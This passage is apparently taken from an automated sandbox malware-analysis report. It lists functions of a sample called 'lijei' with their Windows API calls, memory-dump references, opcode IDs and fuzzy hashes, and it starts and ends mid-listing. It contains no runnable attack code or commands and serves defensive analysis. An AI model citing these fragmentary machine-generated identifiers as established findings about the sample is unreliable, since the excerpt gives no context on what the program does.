                                                              • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00922D3C
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$Rectmouse_event$CursorDesktopForeground
                                                              • String ID:
                                                              • API String ID: 2387181109-0
                                                              • Opcode ID: 083bd230ea2f5bf498b6bbd8f945ae5c03466802ca55f75d3629c528665c2ca4
                                                              • Instruction ID: 25d9b577388bc4288e823bdf2183ab6e5cc1f5efa3dfaaf75880b29d0ed46b15
                                                              • Opcode Fuzzy Hash: 083bd230ea2f5bf498b6bbd8f945ae5c03466802ca55f75d3629c528665c2ca4
                                                              • Instruction Fuzzy Hash: FB31B072509325AFD720EF14E845B9FB7A9FFC4354F000919F99597191DB30EA04CB92
                                                              Function 00916178 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008A5558,?,?,008E4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 008A559E
                                                              • _wcslen.LIBCMT ref: 009161D5
                                                              • CoInitialize.OLE32(00000000), ref: 009162EF
                                                              • CoCreateInstance.OLE32(00940CC4,00000000,00000001,00940B34,?), ref: 00916308
                                                              • CoUninitialize.OLE32 ref: 00916326
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
                                                              • String ID: .lnk
                                                              • API String ID: 3172280962-24824748
                                                              • Opcode ID: d4c4f74da7779c1a8adfa0dc26fe615692cb7a722710db5095d59961dc6f6338
                                                              • Instruction ID: 18855bb00439d8a7308ff9c65bc7263e534ea3f3fd906743062d4096192fbcc9
                                                              • Opcode Fuzzy Hash: d4c4f74da7779c1a8adfa0dc26fe615692cb7a722710db5095d59961dc6f6338
                                                              • Instruction Fuzzy Hash: CAD14271A082059FC714DF28C490A6ABBF6FF89714F14885DF8999B361CB31EC85CB92
                                                              Function 00902104 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0090210F
                                                              • UnloadUserProfile.USERENV(?,?), ref: 0090211B
                                                              • CloseHandle.KERNEL32(?), ref: 00902124
                                                              • CloseHandle.KERNEL32(?), ref: 0090212C
                                                              • GetProcessHeap.KERNEL32(00000000,?), ref: 00902135
                                                              • HeapFree.KERNEL32(00000000), ref: 0090213C
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                              • String ID:
                                                              • API String ID: 146765662-0
                                                              • Opcode ID: 23a4b01477062cd9bb55c1f3c0b5349e456db820ee1a642029c1092251e8585f
                                                              • Instruction ID: 8a26558be4abc33f2409e7344441a1c0328d5ecb66fd4c64f80012bf2251478e
                                                              • Opcode Fuzzy Hash: 23a4b01477062cd9bb55c1f3c0b5349e456db820ee1a642029c1092251e8585f
                                                              • Instruction Fuzzy Hash: 1EE0C27601D101BBDA051BE1FD1C90ABF29FB49322B104220F22582070CB329820EF50
                                                              Function 0090CD90 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A4154: _wcslen.LIBCMT ref: 008A4159
                                                              • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0090CEAE
                                                              • _wcslen.LIBCMT ref: 0090CEF5
                                                              • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0090CF5C
                                                              • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0090CF8A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ItemMenu$Info_wcslen$Default
                                                              • String ID: 0
                                                              • API String ID: 1227352736-4108050209
                                                              • Opcode ID: 450583f6d19e91b802d01ed99d5972e6ed9738536ae959ce7867b9db18f77d08
                                                              • Instruction ID: f2ff8d4f570610db7aaadd4e1e315c5467161add88e894f683d43a6051c4a4c8
                                                              • Opcode Fuzzy Hash: 450583f6d19e91b802d01ed99d5972e6ed9738536ae959ce7867b9db18f77d08
                                                              • Instruction Fuzzy Hash: 8D519EB16183029FD7149B28C845B6ABBE9EF89354F040B2DFA95D22E0DB74C9449B53
                                                              Function 009346DB Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00934794
                                                              • IsMenu.USER32(?), ref: 009347A9
                                                              • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 009347F1
                                                              • DrawMenuBar.USER32 ref: 00934804
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Menu$Item$DrawInfoInsert
                                                              • String ID: 0
                                                              • API String ID: 3076010158-4108050209
                                                              • Opcode ID: b0c3663cb0908c2d994c155eae0288bd00c1a3827b9c7a3005edd0574f1807c8
                                                              • Instruction ID: d956dbf62f013ea042d05946b83095b63d55ba99d0e7a11ae844125dad5e3e85
                                                              • Opcode Fuzzy Hash: b0c3663cb0908c2d994c155eae0288bd00c1a3827b9c7a3005edd0574f1807c8
                                                              • Instruction Fuzzy Hash: 13410675A11249AFDB20CF64E884EAABBB9FF49354F054129F905A7250C730ED54DF60
                                                              Function 00902672 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008AB25F: _wcslen.LIBCMT ref: 008AB269
                                                                • Part of subcall function 00904536: GetClassNameW.USER32(?,?,000000FF), ref: 00904559
                                                              • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 009026F6
                                                              • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00902709
                                                              • SendMessageW.USER32(?,00000189,?,00000000), ref: 00902739
                                                                • Part of subcall function 008A84B7: _wcslen.LIBCMT ref: 008A84CA
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$_wcslen$ClassName
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 2081771294-1403004172
                                                              • Opcode ID: a0e864eb2878e7157d89e72c464926f2f162ff9776062a916d085252a162a2c7
                                                              • Instruction ID: 1136f3956ecebb8fa240031c200c9572b42de0d22a48b841124a6ff1fe7abbc0
                                                              • Opcode Fuzzy Hash: a0e864eb2878e7157d89e72c464926f2f162ff9776062a916d085252a162a2c7
                                                              • Instruction Fuzzy Hash: 64212771900104BFEB14ABB4DC89DFFB7BCEF86754B14412AF412E71E1CB78590A9A20
                                                              Function 008A6332 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,?,?,008A637F,?,?,008A60AA,?,00000001,?,?,00000000), ref: 008A633E
                                                              • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 008A6350
                                                              • FreeLibrary.KERNEL32(00000000,?,?,008A637F,?,?,008A60AA,?,00000001,?,?,00000000), ref: 008A6362
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Library$AddressFreeLoadProc
                                                              • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                              • API String ID: 145871493-3689287502
                                                              • Opcode ID: 52bc94a960dfea81abc191f4049a4c7d8a8754067a18b0aada29a3be2bded50b
                                                              • Instruction ID: 2d0bfb4c9609291efed0a32d9017893d14e6fec64764da14b4ed96d8c52f438c
                                                              • Opcode Fuzzy Hash: 52bc94a960dfea81abc191f4049a4c7d8a8754067a18b0aada29a3be2bded50b
                                                              • Instruction Fuzzy Hash: C5E0863661BB211BA61117557C18A5BA619FFC3B127090015F900D2204EBB0CC1288F1
                                                              Function 008A62FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,?,?,008E54C3,?,?,008A60AA,?,00000001,?,?,00000000), ref: 008A6304
                                                              • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 008A6316
                                                              • FreeLibrary.KERNEL32(00000000,?,?,008E54C3,?,?,008A60AA,?,00000001,?,?,00000000), ref: 008A6329
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Library$AddressFreeLoadProc
                                                              • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                              • API String ID: 145871493-1355242751
                                                              • Opcode ID: 1cb3e5cb272cc409259a0f6f0886b96834fdb8f32c6c16824c8b53f3c27f767f
                                                              • Instruction ID: c009015a2df65821a27be627323415112365aef12c2ccdf614fe1ee5dfcfc9e1
                                                              • Opcode Fuzzy Hash: 1cb3e5cb272cc409259a0f6f0886b96834fdb8f32c6c16824c8b53f3c27f767f
                                                              • Instruction Fuzzy Hash: EFD0C23162B5216767222770BC2898E3E15EEC7F113490015B800E222CDF60CC128DD0
                                                              Function 0092ACE6 Relevance: 7.8, APIs: 5, Instructions: 256COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentProcessId.KERNEL32 ref: 0092AD86
                                                              • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0092AD94
                                                              • GetProcessIoCounters.KERNEL32(00000000,?), ref: 0092ADC7
                                                              • CloseHandle.KERNEL32(?), ref: 0092AF9C
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Process$CloseCountersCurrentHandleOpen
                                                              • String ID:
                                                              • API String ID: 3488606520-0
                                                              • Opcode ID: 6ff67e93e285969ce4b67db105aadcb284c46febea9948d5bbb5c61b59f70fc6
                                                              • Instruction ID: 32b77f122d7ad0aab421074ee5fe4d0b3306ce8beb998c8fc265f749df23f3d6
                                                              • Opcode Fuzzy Hash: 6ff67e93e285969ce4b67db105aadcb284c46febea9948d5bbb5c61b59f70fc6
                                                              • Instruction Fuzzy Hash: 46A1AAB1604300AFE720DF28D896B2AB7E5EF54710F14881DF999DB692CB74EC40CB92
                                                              Function 0092C328 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008AB25F: _wcslen.LIBCMT ref: 008AB269
                                                                • Part of subcall function 0092D2F7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0092C00D,?,?), ref: 0092D314
                                                                • Part of subcall function 0092D2F7: _wcslen.LIBCMT ref: 0092D350
                                                                • Part of subcall function 0092D2F7: _wcslen.LIBCMT ref: 0092D3C7
                                                                • Part of subcall function 0092D2F7: _wcslen.LIBCMT ref: 0092D3FD
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0092C404
                                                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0092C45F
                                                              • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0092C4C2
                                                              • RegCloseKey.ADVAPI32(?,?), ref: 0092C505
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 0092C512
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
                                                              • String ID:
                                                              • API String ID: 826366716-0
                                                              • Opcode ID: 4e306c02c5626405d62c089310e17f6a4538a2032f9755b9e4938276394325c0
                                                              • Instruction ID: 30d821c33c01aac3e7a8d8f355cee7edf4d119982916471ae3cec9f17dd574b4
                                                              • Opcode Fuzzy Hash: 4e306c02c5626405d62c089310e17f6a4538a2032f9755b9e4938276394325c0
                                                              • Instruction Fuzzy Hash: 3B61B471108251AFD714EF24D890E2BBBE9FF85308F14895CF4598B2A2DB35ED45CB92
                                                              Function 0090EC27 Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0090E60C: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0090D6E2,?), ref: 0090E629
                                                                • Part of subcall function 0090E60C: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0090D6E2,?), ref: 0090E642
                                                                • Part of subcall function 0090E9C5: GetFileAttributesW.KERNELBASE(?,0090D755), ref: 0090E9C6
                                                              • lstrcmpiW.KERNEL32(?,?), ref: 0090EC9F
                                                              • MoveFileW.KERNEL32(?,?), ref: 0090ECD8
                                                              • _wcslen.LIBCMT ref: 0090EE17
                                                              • _wcslen.LIBCMT ref: 0090EE2F
                                                              • SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 0090EE7C
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
                                                              • String ID:
                                                              • API String ID: 3183298772-0
                                                              • Opcode ID: f8ee27bbb4e0f11a6c4b546933a6e43ebf022b20b3eb55abff3e266c43cacfbd
                                                              • Instruction ID: 92c68cdbcbe012dc5b4ec883ce81845f541d1806eb6dc4deed7b57b5604bd0ec
                                                              • Opcode Fuzzy Hash: f8ee27bbb4e0f11a6c4b546933a6e43ebf022b20b3eb55abff3e266c43cacfbd
                                                              • Instruction Fuzzy Hash: C15144B20083859FD764DB64D845ADB73ECEF95310F00092EF589D3192EF75E6888756
                                                              Function 008D23E1 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: _free
                                                              • String ID:
                                                              • API String ID: 269201875-0
                                                              • Opcode ID: 6bfc7abc18c2be533e346b3f987259b82b237b11ff1f51e4a5081ab6ee831657
                                                              • Instruction ID: 3ea686146cb0ec033f5465047cf108c7ae71f0783a6c1cd57d30fc688688719b
                                                              • Opcode Fuzzy Hash: 6bfc7abc18c2be533e346b3f987259b82b237b11ff1f51e4a5081ab6ee831657
                                                              • Instruction Fuzzy Hash: 8141B232A002049BDB24DF68C881A59B7F6FF99314F1582AAE915EB351DA71ED01CB81
                                                              Function 009141CE Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetInputState.USER32 ref: 00914225
                                                              • TranslateAcceleratorW.USER32(?,00000000,?), ref: 0091427C
                                                              • TranslateMessage.USER32(?), ref: 009142A5
                                                              • DispatchMessageW.USER32(?), ref: 009142AF
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009142C0
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Message$Translate$AcceleratorDispatchInputPeekState
                                                              • String ID:
                                                              • API String ID: 2256411358-0
                                                              • Opcode ID: 2525be2a6c2078c5402d8975116fecac6394fc40fb85f78b513df7c85bad75e9
                                                              • Instruction ID: 4e1431630f5061eca22a31bdd272c1de9df9bdeb4a3c95249be7f97aab56c522
                                                              • Opcode Fuzzy Hash: 2525be2a6c2078c5402d8975116fecac6394fc40fb85f78b513df7c85bad75e9
                                                              • Instruction Fuzzy Hash: DE31B57172834ADEEB24CB64A908FF637ECEB19305F04096DE576820A0D27498C5EB12
                                                              Function 00902191 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowRect.USER32(?,?), ref: 009021A5
                                                              • PostMessageW.USER32(00000001,00000201,00000001), ref: 00902251
                                                              • Sleep.KERNEL32(00000000,?,?,?), ref: 00902259
                                                              • PostMessageW.USER32(00000001,00000202,00000000), ref: 0090226A
                                                              • Sleep.KERNEL32(00000000,?,?,?,?), ref: 00902272
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessagePostSleep$RectWindow
                                                              • String ID:
                                                              • API String ID: 3382505437-0
                                                              • Opcode ID: 122988be7af78bfd7caec48acf65654b9311ef84a3eac2564549a451866616a1
                                                              • Instruction ID: 981b18885d624098b06aeace4824fdf4d5bb33555eb45d3eb0ee503f1c291e8c
                                                              • Opcode Fuzzy Hash: 122988be7af78bfd7caec48acf65654b9311ef84a3eac2564549a451866616a1
                                                              • Instruction Fuzzy Hash: 9B319C72904219EFDB08CFA8DD8DA9E3BB5EB14315F104229FA35A72D0C770A9549B90
                                                              Function 00936065 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,00001053,000000FF,?), ref: 009360A4
                                                              • SendMessageW.USER32(?,00001074,?,00000001), ref: 009360FC
                                                              • _wcslen.LIBCMT ref: 0093610E
                                                              • _wcslen.LIBCMT ref: 00936119
                                                              • SendMessageW.USER32(?,00001002,00000000,?), ref: 00936175
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$_wcslen
                                                              • String ID:
                                                              • API String ID: 763830540-0
                                                              • Opcode ID: bb154f3e97736c5aa2c0604f7f06bcb0610f648e1e788b8d9a13b30765178c06
                                                              • Instruction ID: 16dbf308c9c9cd0eb29937b581238dc9df5eaa7ce25f2da1a3fd1ebab46a85c1
                                                              • Opcode Fuzzy Hash: bb154f3e97736c5aa2c0604f7f06bcb0610f648e1e788b8d9a13b30765178c06
                                                              • Instruction Fuzzy Hash: 47217171904218ABDB109FA4CC84AEEBBBCFB45324F148216F925DA1C1D77485858F51
                                                              Function 0090089E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,009007D1,80070057,?,?,?,00900BEE), ref: 009008BB
